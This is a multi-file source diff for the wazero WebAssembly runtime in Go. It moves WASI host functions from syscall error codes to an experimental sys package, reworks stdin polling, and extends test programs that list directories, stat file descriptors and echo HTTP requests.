outOffset uint32
}
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
in := uint32(params[0])
out := uint32(params[1])
nsubscriptions := uint32(params[2])
resultNevents := uint32(params[3])
if nsubscriptions == 0 {
return syscall.EINVAL
return sys.EINVAL
}
mem := mod.Memory()
@@ -64,7 +64,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
// Ensure capacity prior to the read loop to reduce error handling.
inBuf, ok := mem.Read(in, nsubscriptions*48)
if !ok {
return syscall.EFAULT
return sys.EFAULT
}
outBuf, ok := mem.Read(out, nsubscriptions*32)
// zero-out all buffer before writing
@@ -73,21 +73,21 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
}
if !ok {
return syscall.EFAULT
return sys.EFAULT
}
// Eagerly write the number of events which will equal subscriptions unless
// there's a fault in parsing (not processing).
if !mod.Memory().WriteUint32Le(resultNevents, nsubscriptions) {
return syscall.EFAULT
return sys.EFAULT
}
// Loop through all subscriptions and write their output.
// Extract FS context, used in the body of the for loop for FS access.
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
// Slice of events that are processed out of the loop (stdin subscribers).
var stdinSubs []*event
// Slice of events that are processed out of the loop (blocking stdin subscribers).
var blockingStdinSubs []*event
// The timeout is initialized at max Duration, the loop will find the minimum.
var timeout time.Duration = 1<<63 - 1
// Count of all the clock subscribers that have been already written back to outBuf.
@@ -129,27 +129,35 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
case wasip1.EventTypeFdRead:
fd := int32(le.Uint32(argBuf))
if fd < 0 {
return syscall.EBADF
return sys.EBADF
}
if fd == internalsys.FdStdin {
// if the fd is Stdin, do not ack yet,
// append to a slice for delayed evaluation.
stdinSubs = append(stdinSubs, evt)
if file, ok := fsc.LookupFile(fd); !ok {
evt.errno = wasip1.ErrnoBadf
writeEvent(outBuf, evt)
readySubs++
continue
} else if fd == internalsys.FdStdin && !file.File.IsNonblock() {
// if the fd is Stdin, and it is in non-blocking mode,
// do not ack yet, append to a slice for delayed evaluation.
blockingStdinSubs = append(blockingStdinSubs, evt)
} else {
evt.errno = processFDEventRead(fsc, fd)
writeEvent(outBuf, evt)
readySubs++
}
case wasip1.EventTypeFdWrite:
fd := int32(le.Uint32(argBuf))
if fd < 0 {
return syscall.EBADF
return sys.EBADF
}
if _, ok := fsc.LookupFile(fd); ok {
evt.errno = wasip1.ErrnoNotsup
} else {
evt.errno = wasip1.ErrnoBadf
}
evt.errno = processFDEventWrite(fsc, fd)
readySubs++
writeEvent(outBuf, evt)
default:
return syscall.EINVAL
return sys.EINVAL
}
}
@@ -159,11 +167,11 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
timeout = 0
}
// If there are stdin subscribers, check for data with given timeout.
if len(stdinSubs) > 0 {
// If there are blocking stdin subscribers, check for data with given timeout.
if len(blockingStdinSubs) > 0 {
stdin, ok := fsc.LookupFile(internalsys.FdStdin)
if !ok {
return syscall.EBADF
return sys.EBADF
}
// Wait for the timeout to expire, or for some data to become available on Stdin.
stdinReady, errno := stdin.File.PollRead(&timeout)
@@ -172,9 +180,9 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
}
if stdinReady {
// stdin has data ready to for reading, write back all the events
for i := range stdinSubs {
for i := range blockingStdinSubs {
readySubs++
evt := stdinSubs[i]
evt := blockingStdinSubs[i]
evt.errno = 0
writeEvent(outBuf, evt)
}
@@ -187,7 +195,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
if readySubs != nsubscriptions {
if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) {
return syscall.EFAULT
return sys.EFAULT
}
}
@@ -196,20 +204,20 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
// processClockEvent supports only relative name events, as that's what's used
// to implement sleep in various compilers including Rust, Zig and TinyGo.
func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) {
_ /* ID */ = le.Uint32(inBuf[0:8]) // See below
timeout := le.Uint64(inBuf[8:16]) // nanos if relative
_ /* precision */ = le.Uint64(inBuf[16:24]) // Unused
flags := le.Uint16(inBuf[24:32])
var err syscall.Errno
var err sys.Errno
// subclockflags has only one flag defined: subscription_clock_abstime
switch flags {
case 0: // relative time
case 1: // subscription_clock_abstime
err = syscall.ENOTSUP
err = sys.ENOTSUP
default: // subclockflags has only one flag defined.
err = syscall.EINVAL
err = sys.EINVAL
}
if err != 0 {
@@ -223,23 +231,6 @@ func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
}
}
// processFDEventRead returns ErrnoSuccess if the file exists and ErrnoBadf otherwise.
func processFDEventRead(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
if _, ok := fsc.LookupFile(fd); ok {
return wasip1.ErrnoSuccess
} else {
return wasip1.ErrnoBadf
}
}
// processFDEventWrite returns ErrnoNotsup if the file exists and ErrnoBadf otherwise.
func processFDEventWrite(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
if _, ok := fsc.LookupFile(fd); ok {
return wasip1.ErrnoNotsup
}
return wasip1.ErrnoBadf
}
// writeEvent writes the event corresponding to the processed subscription.
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct
func writeEvent(outBuf []byte, evt *event) {
@@ -3,9 +3,9 @@ package wasi_snapshot_preview1
import (
"context"
"io"
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -21,8 +21,8 @@ import (
// Result (Errno)
//
// The return value is ErrnoSuccess except the following error conditions:
// - syscall.EFAULT: `buf` or `bufLen` point to an offset out of memory
// - syscall.EIO: a file system error
// - sys.EFAULT: `buf` or `bufLen` point to an offset out of memory
// - sys.EIO: a file system error
//
// For example, if underlying random source was seeded like
// `rand.NewSource(42)`, we expect api.Memory to contain:
@@ -36,19 +36,19 @@ import (
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-random_getbuf-pointeru8-bufLen-size---errno
var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []api.ValueType{i32, i32}, "buf", "buf_len")
func randomGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func randomGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
randSource := sysCtx.RandSource()
buf, bufLen := uint32(params[0]), uint32(params[1])
randomBytes, ok := mod.Memory().Read(buf, bufLen)
if !ok { // out-of-range
return syscall.EFAULT
return sys.EFAULT
}
// We can ignore the returned n as it only != byteCount on error
if _, err := io.ReadAtLeast(randSource, randomBytes, int(bufLen)); err != nil {
return syscall.EIO
return sys.EIO
}
return 0
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
import (
"context"
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -15,7 +15,7 @@ import (
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sched_yield---errno
var schedYield = newHostFunc(wasip1.SchedYieldName, schedYieldFn, nil)
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) syscall.Errno {
func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) sys.Errno {
sysCtx := mod.(*wasm.ModuleInstance).Sys
sysCtx.Osyield()
return 0
+18 -16
View File
@@ -5,6 +5,7 @@ import (
"syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
socketapi "github.com/tetratelabs/wazero/internal/sock"
"github.com/tetratelabs/wazero/internal/sysfs"
"github.com/tetratelabs/wazero/internal/wasip1"
@@ -23,7 +24,7 @@ var sockAccept = newHostFunc(
"fd", "flags", "result.fd",
)
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno syscall.Errno) {
func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno sys.Errno) {
mem := mod.Memory()
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
@@ -50,7 +51,7 @@ var sockRecv = newHostFunc(
"fd", "ri_data", "ri_data_len", "ri_flags", "result.ro_datalen", "result.ro_flags",
)
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func sockRecvFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
mem := mod.Memory()
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
@@ -63,13 +64,13 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
var conn socketapi.TCPConn
if e, ok := fsc.LookupFile(fd); !ok {
return syscall.EBADF // Not open
return sys.EBADF // Not open
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
return syscall.EBADF // Not a conn
return sys.EBADF // Not a conn
}
if riFlags & ^(wasip1.RI_RECV_PEEK|wasip1.RI_RECV_WAITALL) != 0 {
return syscall.ENOTSUP
return sys.ENOTSUP
}
if riFlags&wasip1.RI_RECV_PEEK != 0 {
@@ -78,16 +79,16 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
// This means that the first `uint32` is a `buf *uint8`.
firstIovecBufAddr, ok := mem.ReadUint32Le(riData)
if !ok {
return syscall.EINVAL
return sys.EINVAL
}
// Read bufLen
firstIovecBufLen, ok := mem.ReadUint32Le(riData + 4)
if !ok {
return syscall.EINVAL
return sys.EINVAL
}
firstIovecBuf, ok := mem.Read(firstIovecBufAddr, firstIovecBufLen)
if !ok {
return syscall.EINVAL
return sys.EINVAL
}
n, err := conn.Recvfrom(firstIovecBuf, sysfs.MSG_PEEK)
if err != 0 {
@@ -122,7 +123,7 @@ var sockSend = newHostFunc(
"fd", "si_data", "si_data_len", "si_flags", "result.so_datalen",
)
func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func sockSendFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
mem := mod.Memory()
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
@@ -133,14 +134,14 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
resultSoDatalen := uint32(params[4])
if siFlags != 0 {
return syscall.ENOTSUP
return sys.ENOTSUP
}
var conn socketapi.TCPConn
if e, ok := fsc.LookupFile(fd); !ok {
return syscall.EBADF // Not open
return sys.EBADF // Not open
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
return syscall.EBADF // Not a conn
return sys.EBADF // Not a conn
}
bufSize, errno := writev(mem, siData, siDataCount, conn.Write)
@@ -157,7 +158,7 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn
// See: https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sock_shutdownfd-fd-how-sdflags---errno
var sockShutdown = newHostFunc(wasip1.SockShutdownName, sockShutdownFn, []wasm.ValueType{i32, i32}, "fd", "how")
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
fd := int32(params[0])
@@ -165,9 +166,9 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.
var conn socketapi.TCPConn
if e, ok := fsc.LookupFile(fd); !ok {
return syscall.EBADF // Not open
return sys.EBADF // Not open
} else if conn, ok = e.File.(socketapi.TCPConn); !ok {
return syscall.EBADF // Not a conn
return sys.EBADF // Not a conn
}
sysHow := 0
@@ -180,8 +181,9 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.
case wasip1.SD_WR:
sysHow = syscall.SHUT_WR
default:
return syscall.EINVAL
return sys.EINVAL
}
// TODO: Map this instead of relying on syscall symbols.
return conn.Shutdown(sysHow)
}
@@ -1,23 +1,41 @@
package main
import (
"bytes"
"errors"
"fmt"
"io"
"io/fs"
"net"
"net/http"
"os"
"strconv"
"strings"
"sync"
"syscall"
"time"
)
func main() {
switch os.Args[1] {
case "sock":
if err := mainSock(); err != nil {
case "ls":
var repeat bool
if len(os.Args) == 4 {
repeat = os.Args[3] == "repeat"
}
// Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR,
// rather EBADF trying to read the directory later.
if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) {
fmt.Println("ENOTDIR")
} else if err != nil {
panic(err)
}
case "http":
if err := mainHTTP(); err != nil {
case "stat":
if err := mainStat(); err != nil {
panic(err)
}
case "sock":
if err := mainSock(); err != nil {
panic(err)
}
case "nonblock":
@@ -25,6 +43,73 @@ func main() {
panic(err)
}
}
// Handle go-specific additions
switch os.Args[1] {
case "http":
if err := mainHTTP(); err != nil {
panic(err)
}
case "stdin":
if err := mainStdin(); err != nil {
panic(err)
}
case "stdout":
mainStdout()
case "largestdout":
mainLargeStdout()
}
}
func mainLs(path string, repeat bool) error {
d, err := os.Open(path)
if err != nil {
return err
}
defer d.Close()
if err = printFileNames(d); err != nil {
return err
} else if repeat {
// rewind
if _, err = d.Seek(0, io.SeekStart); err != nil {
return err
}
return printFileNames(d)
}
return nil
}
func printFileNames(d *os.File) error {
if names, err := d.Readdirnames(-1); err != nil {
return err
} else {
for _, n := range names {
fmt.Println("./" + n)
}
}
return nil
}
func mainStat() error {
var isatty = func(name string, fd uintptr) error {
f := os.NewFile(fd, "")
if st, err := f.Stat(); err != nil {
return err
} else {
ttyMode := fs.ModeDevice | fs.ModeCharDevice
isatty := st.Mode()&ttyMode == ttyMode
fmt.Println(name, "isatty:", isatty)
return nil
}
}
for fd, name := range []string{"stdin", "stdout", "stderr", "/"} {
if err := isatty(name, uintptr(fd)); err != nil {
return err
}
}
return nil
}
// mainSock is an explicit test of a blocking socket.
@@ -57,55 +142,6 @@ func mainSock() error {
return nil
}
// mainHTTP implicitly tests non-blocking sockets, as they are needed for
// middleware.
func mainHTTP() error {
// Get the file representing a pre-opened TCP socket.
// The socket (listener) is the first pre-open, with a file-descriptor of
// 3 because the host didn't add any pre-opened files.
listenerFD := 3
f := os.NewFile(uintptr(listenerFD), "")
// Wasm runs similarly to GOMAXPROCS=1, so multiple goroutines cannot work
// in parallel. non-blocking allows the poller to park the go-routine
// accepting connections while work is done on one.
if err := syscall.SetNonblock(listenerFD, true); err != nil {
return err
}
// Convert the file representing the pre-opened socket to a listener, so
// that we can integrate it with HTTP middleware.
ln, err := net.FileListener(f)
defer f.Close()
if err != nil {
return err
}
defer ln.Close()
// Serve middleware that echos the request body to the response once, then quits.
h := &echoOnce{ch: make(chan struct{}, 1)}
go http.Serve(ln, h)
<-h.ch
return nil
}
type echoOnce struct {
ch chan struct{}
}
func (e echoOnce) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// Copy up to 32 bytes from the request to the response, appending a newline.
// Note: the test should write: "wazero", so that's all we should read.
var buf [32]byte
if n, err := r.Body.Read(buf[:]); err != nil && err != io.EOF {
panic(err)
} else if n, err = w.Write(append(buf[:n], '\n')); err != nil {
panic(err)
}
// Once one request was served, close the channel.
close(e.ch)
}
// Adapted from nonblock.go
// https://github.com/golang/go/blob/0fcc70ecd56e3b5c214ddaee4065ea1139ae16b5/src/runtime/internal/wasitest/testdata/nonblock.go
func mainNonblock(mode string, files []string) error {
@@ -160,3 +196,114 @@ func mainNonblock(mode string, files []string) error {
wg.Wait()
return nil
}
// mainHTTP implicitly tests non-blocking sockets, as they are needed for
// middleware.
func mainHTTP() error {
// Get the file representing a pre-opened TCP socket.
// The socket (listener) is the first pre-open, with a file-descriptor of
// 3 because the host didn't add any pre-opened files.
listenerFD := 3
f := os.NewFile(uintptr(listenerFD), "")
// Wasm runs similarly to GOMAXPROCS=1, so multiple goroutines cannot work
// in parallel. non-blocking allows the poller to park the go-routine
// accepting connections while work is done on one.
if err := syscall.SetNonblock(listenerFD, true); err != nil {
return err
}
// Convert the file representing the pre-opened socket to a listener, so
// that we can integrate it with HTTP middleware.
ln, err := net.FileListener(f)
defer f.Close()
if err != nil {
return err
}
defer ln.Close()
// Serve middleware that echos the request body to the response once, then quits.
h := &echoOnce{ch: make(chan struct{}, 1)}
go http.Serve(ln, h)
<-h.ch
return nil
}
type echoOnce struct {
ch chan struct{}
}
func (e echoOnce) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// Copy up to 32 bytes from the request to the response, appending a newline.
// Note: the test should write: "wazero", so that's all we should read.
var buf [32]byte
if n, err := r.Body.Read(buf[:]); err != nil && err != io.EOF {
panic(err)
} else if n, err = w.Write(append(buf[:n], '\n')); err != nil {
panic(err)
}
// Once one request was served, close the channel.
close(e.ch)
}
// Reproducer for https://github.com/tetratelabs/wazero/issues/1538
func mainStdin() error {
go func() {
time.Sleep(1 * time.Second)
os.Stdout.WriteString("waiting for stdin...\n")
}()
b, err := io.ReadAll(os.Stdin)
if err != nil {
return err
}
os.Stdout.Write(b)
return nil
}
func mainStdout() {
os.Stdout.WriteString("test")
}
func mainLargeStdout() {
const ntest = 1024
var decls, calls bytes.Buffer
for i := 1; i <= ntest; i++ {
s := strconv.Itoa(i)
decls.WriteString(strings.Replace(decl, "$", s, -1))
calls.WriteString(strings.Replace("call(test$)\n\t", "$", s, -1))
}
program = strings.Replace(program, "$DECLS", decls.String(), 1)
program = strings.Replace(program, "$CALLS", calls.String(), 1)
fmt.Print(program)
}
var program = `package main
var count int
func call(f func() bool) {
if f() {
count++
}
}
$DECLS
func main() {
$CALLS
if count != 0 {
println("failed", count, "case(s)")
}
}
`
const decl = `
type T$ [$]uint8
func test$() bool {
v := T${1}
return v == [$]uint8{2} || v != [$]uint8{1}
}`
@@ -0,0 +1,86 @@
package main
import (
"errors"
"fmt"
"io"
"io/fs"
"os"
"syscall"
)
func main() {
switch os.Args[1] {
case "ls":
var repeat bool
if len(os.Args) == 4 {
repeat = os.Args[3] == "repeat"
}
// Go doesn't open with O_DIRECTORY, so we don't end up with ENOTDIR,
// rather EBADF trying to read the directory later.
if err := mainLs(os.Args[2], repeat); errors.Is(err, syscall.EBADF) {
fmt.Println("ENOTDIR")
} else if err != nil {
panic(err)
}
case "stat":
if err := mainStat(); err != nil {
panic(err)
}
case "sock":
// TODO: undefined: net.FileListener
case "nonblock":
// TODO: undefined: syscall.SetNonblock
}
}
func mainLs(path string, repeat bool) error {
d, err := os.Open(path)
if err != nil {
return err
}
defer d.Close()
if err = printFileNames(d); err != nil {
return err
} else if repeat {
// rewind
if _, err = d.Seek(0, io.SeekStart); err != nil {
return err
}
return printFileNames(d)
}
return nil
}
func printFileNames(d *os.File) error {
if names, err := d.Readdirnames(-1); err != nil {
return err
} else {
for _, n := range names {
fmt.Println("./" + n)
}
}
return nil
}
func mainStat() error {
var isatty = func(name string, fd uintptr) error {
f := os.NewFile(fd, "")
if st, err := f.Stat(); err != nil {
return err
} else {
ttyMode := fs.ModeDevice | fs.ModeCharDevice
isatty := st.Mode()&ttyMode == ttyMode
fmt.Println(name, "isatty:", isatty)
return nil
}
}
for fd, name := range []string{"stdin", "stdout", "stderr", "/"} {
if err := isatty(name, uintptr(fd)); err != nil {
return err
}
}
return nil
}
@@ -19,10 +19,10 @@ package wasi_snapshot_preview1
import (
"context"
"encoding/binary"
"syscall"
"github.com/tetratelabs/wazero"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
)
@@ -229,18 +229,18 @@ func exportFunctions(builder wazero.HostModuleBuilder) {
// writeOffsetsAndNullTerminatedValues is used to write NUL-terminated values
// for args or environ, given a pre-defined bytesLen (which includes NUL
// terminators).
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) syscall.Errno {
func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) sys.Errno {
// The caller may not place bytes directly after offsets, so we have to
// read them independently.
valuesLen := len(values)
offsetsLen := uint32(valuesLen * 4) // uint32Le
offsetsBuf, ok := mem.Read(offsets, offsetsLen)
if !ok {
return syscall.EFAULT
return sys.EFAULT
}
bytesBuf, ok := mem.Read(bytes, bytesLen)
if !ok {
return syscall.EFAULT
return sys.EFAULT
}
// Loop through the values, first writing the location of its data to
@@ -285,7 +285,7 @@ func newHostFunc(
// wasiFunc special cases that all WASI functions return a single Errno
// result. The returned value will be written back to the stack at index zero.
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) syscall.Errno
type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) sys.Errno
// Call implements the same method as documented on api.GoModuleFunction.
func (f wasiFunc) Call(ctx context.Context, mod api.Module, stack []uint64) {
+13
View File
@@ -0,0 +1,13 @@
// Package close allows experimental.CloseNotifier without introducing a
// package cycle.
package close
import "context"
// NotifierKey is a context.Context Value key. Its associated value should be a
// Notifier.
type NotifierKey struct{}
type Notifier interface {
CloseNotify(ctx context.Context, exitCode uint32)
}
@@ -496,6 +496,13 @@ func (e *engine) Close() (err error) {
e.mux.Lock()
defer e.mux.Unlock()
// Releasing the references to compiled codes including the memory-mapped machine codes.
for i := range e.codes {
for j := range e.codes[i].functions {
e.codes[i].functions[j].parent = nil
}
}
e.codes = nil
return
}
@@ -4856,6 +4856,7 @@ func (c *amd64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruc
func (c *amd64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) {
if target := c.compiledTrapTargets[status]; target != nil {
c.assembler.CompileJump(amd64.JMP).AssignJumpTarget(target)
return
}
switch status {
@@ -380,42 +380,16 @@ func (c *arm64Compiler) compileReturnFunction() error {
}
func (c *arm64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruction, status nativeCallStatusCode) {
if target := c.compiledTrapTargets[status]; target != nil {
// We've already compiled this.
// Invert the condition to jump into the appropriate target.
var trapCondition asm.Instruction
switch skipCondition {
case arm64.BCONDEQ:
trapCondition = arm64.BCONDNE
case arm64.BCONDNE:
trapCondition = arm64.BCONDEQ
case arm64.BCONDLO:
trapCondition = arm64.BCONDHS
case arm64.BCONDHS:
trapCondition = arm64.BCONDLO
case arm64.BCONDLS:
trapCondition = arm64.BCONDHI
case arm64.BCONDHI:
trapCondition = arm64.BCONDLS
case arm64.BCONDVS:
trapCondition = arm64.BCONDVC
case arm64.BCONDVC:
trapCondition = arm64.BCONDVS
default:
panic("BUG: couldn't invert condition")
}
c.assembler.CompileJump(trapCondition).AssignJumpTarget(target)
} else {
skip := c.assembler.CompileJump(skipCondition)
c.compileExitFromNativeCode(status)
c.assembler.SetJumpTargetOnNext(skip)
}
skip := c.assembler.CompileJump(skipCondition)
c.compileExitFromNativeCode(status)
c.assembler.SetJumpTargetOnNext(skip)
}
// compileExitFromNativeCode adds instructions to give the control back to ce.exec with the given status code.
func (c *arm64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) {
if target := c.compiledTrapTargets[status]; target != nil {
c.assembler.CompileJump(arm64.B).AssignJumpTarget(target)
return
}
switch status {
-13
View File
@@ -1,13 +0,0 @@
//go:build !windows && !js && !illumos && !solaris
package fsapi
import "syscall"
// Simple aliases to constants in the syscall package for portability with
// platforms which do not have them (e.g. windows)
const (
O_DIRECTORY = syscall.O_DIRECTORY
O_NOFOLLOW = syscall.O_NOFOLLOW
O_NONBLOCK = syscall.O_NONBLOCK
)
-8
View File
@@ -1,8 +0,0 @@
package fsapi
// See the comments on the same constants in constants_windows.go
const (
O_DIRECTORY = 1 << 29
O_NOFOLLOW = 1 << 30
O_NONBLOCK = 1 << 31
)
-12
View File
@@ -1,12 +0,0 @@
//go:build illumos || solaris
package fsapi
import "syscall"
// See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90
const (
O_DIRECTORY = 0x1000000
O_NOFOLLOW = syscall.O_NOFOLLOW
O_NONBLOCK = syscall.O_NONBLOCK
)
@@ -1,24 +0,0 @@
package fsapi
import "syscall"
// Windows does not have these constants, we declare placeholders which should
// not conflict with other open flags. These placeholders are not declared as
// value zero so code written in a way which expects them to be bit flags still
// works as expected.
//
// Since those placeholder are not interpreted by the open function, the unix
// features they represent are also not implemented on windows:
//
// - O_DIRECTORY allows programs to ensure that the opened file is a directory.
// This could be emulated by doing a stat call on the file after opening it
// to verify that it is in fact a directory, then closing it and returning an
// error if it is not.
//
// - O_NOFOLLOW allows programs to ensure that if the opened file is a symbolic
// link, the link itself is opened instead of its target.
const (
O_DIRECTORY = 1 << 29
O_NOFOLLOW = 1 << 30
O_NONBLOCK = syscall.O_NONBLOCK
)
+42 -32
View File
@@ -3,26 +3,41 @@ package fsapi
import (
"fmt"
"io/fs"
"syscall"
"time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
// Dirent is an entry read from a directory.
// FileType is fs.FileMode masked on fs.ModeType. For example, zero is a
// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown.
//
// This is a portable variant of syscall.Dirent containing fields needed for
// WebAssembly ABI including WASI snapshot-01 and wasi-filesystem. Unlike
// fs.DirEntry, this may include the Ino.
// Note: This is defined by Linux, not POSIX.
type FileType = fs.FileMode
// Dirent is an entry read from a directory via File.Readdir.
//
// # Notes
//
// - This extends `dirent` defined in POSIX with some fields defined by
// Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and
// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html
// - This has a subset of fields defined in Stat_t. Notably, there is no
// field corresponding to Stat_t.Dev because that value will be constant
// for all files in a directory. To get the Dev value, call File.Stat on
// the directory File.Readdir was called on.
type Dirent struct {
// ^^ Dirent name matches syscall.Dirent
// Ino is the file serial number, or zero if not available. See Ino for
// more details including impact returning a zero value.
Ino sys.Inode
// Name is the base name of the directory entry.
// Name is the base name of the directory entry. Empty is invalid.
Name string
// Ino is the file serial number, or zero if not available.
Ino uint64
// Type is fs.FileMode masked on fs.ModeType. For example, zero is a
// regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown.
//
// Note: This is defined by Linux, not POSIX.
Type fs.FileMode
}
@@ -44,8 +59,8 @@ func (DirFile) IsAppend() bool {
}
// SetAppend implements File.SetAppend
func (DirFile) SetAppend(bool) syscall.Errno {
return syscall.EISDIR
func (DirFile) SetAppend(bool) experimentalsys.Errno {
return experimentalsys.EISDIR
}
// IsNonblock implements File.IsNonblock
@@ -54,46 +69,41 @@ func (DirFile) IsNonblock() bool {
}
// SetNonblock implements File.SetNonblock
func (DirFile) SetNonblock(bool) syscall.Errno {
return syscall.EISDIR
func (DirFile) SetNonblock(bool) experimentalsys.Errno {
return experimentalsys.EISDIR
}
// IsDir implements File.IsDir
func (DirFile) IsDir() (bool, syscall.Errno) {
func (DirFile) IsDir() (bool, experimentalsys.Errno) {
return true, 0
}
// Read implements File.Read
func (DirFile) Read([]byte) (int, syscall.Errno) {
return 0, syscall.EISDIR
func (DirFile) Read([]byte) (int, experimentalsys.Errno) {
return 0, experimentalsys.EISDIR
}
// Pread implements File.Pread
func (DirFile) Pread([]byte, int64) (int, syscall.Errno) {
return 0, syscall.EISDIR
}
// Seek implements File.Seek
func (DirFile) Seek(int64, int) (int64, syscall.Errno) {
return 0, syscall.EISDIR
func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) {
return 0, experimentalsys.EISDIR
}
// PollRead implements File.PollRead
func (DirFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
return false, syscall.ENOSYS
func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
return false, experimentalsys.ENOSYS
}
// Write implements File.Write
func (DirFile) Write([]byte) (int, syscall.Errno) {
return 0, syscall.EISDIR
func (DirFile) Write([]byte) (int, experimentalsys.Errno) {
return 0, experimentalsys.EISDIR
}
// Pwrite implements File.Pwrite
func (DirFile) Pwrite([]byte, int64) (int, syscall.Errno) {
return 0, syscall.EISDIR
func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
return 0, experimentalsys.EISDIR
}
// Truncate implements File.Truncate
func (DirFile) Truncate(int64) syscall.Errno {
return syscall.EISDIR
func (DirFile) Truncate(int64) experimentalsys.Errno {
return experimentalsys.EISDIR
}
+118 -133
View File
@@ -1,44 +1,77 @@
package fsapi
import (
"io/fs"
"syscall"
"time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
// File is a writeable fs.File bridge backed by syscall functions needed for ABI
// including WASI and runtime.GOOS=js.
//
// Implementations should embed UnimplementedFile for forward compatability. Any
// unsupported method or parameter should return syscall.ENOSYS.
// unsupported method or parameter should return ENOSYS.
//
// # Errors
//
// All methods that can return an error return a syscall.Errno, which is zero
// All methods that can return an error return a Errno, which is zero
// on success.
//
// Restricting to syscall.Errno matches current WebAssembly host functions,
// Restricting to Errno matches current WebAssembly host functions,
// which are constrained to well-known error codes. For example, `GOOS=js` maps
// hard coded values and panics otherwise. More commonly, WASI maps syscall
// errors to u32 numeric values.
//
// # Notes
//
// A writable filesystem abstraction is not yet implemented as of Go 1.20. See
// https://github.com/golang/go/issues/45757
// - You must call Close to avoid file resource conflicts. For example,
// Windows cannot delete the underlying directory while a handle to it
// remains open.
// - A writable filesystem abstraction is not yet implemented as of Go 1.20.
// See https://github.com/golang/go/issues/45757
type File interface {
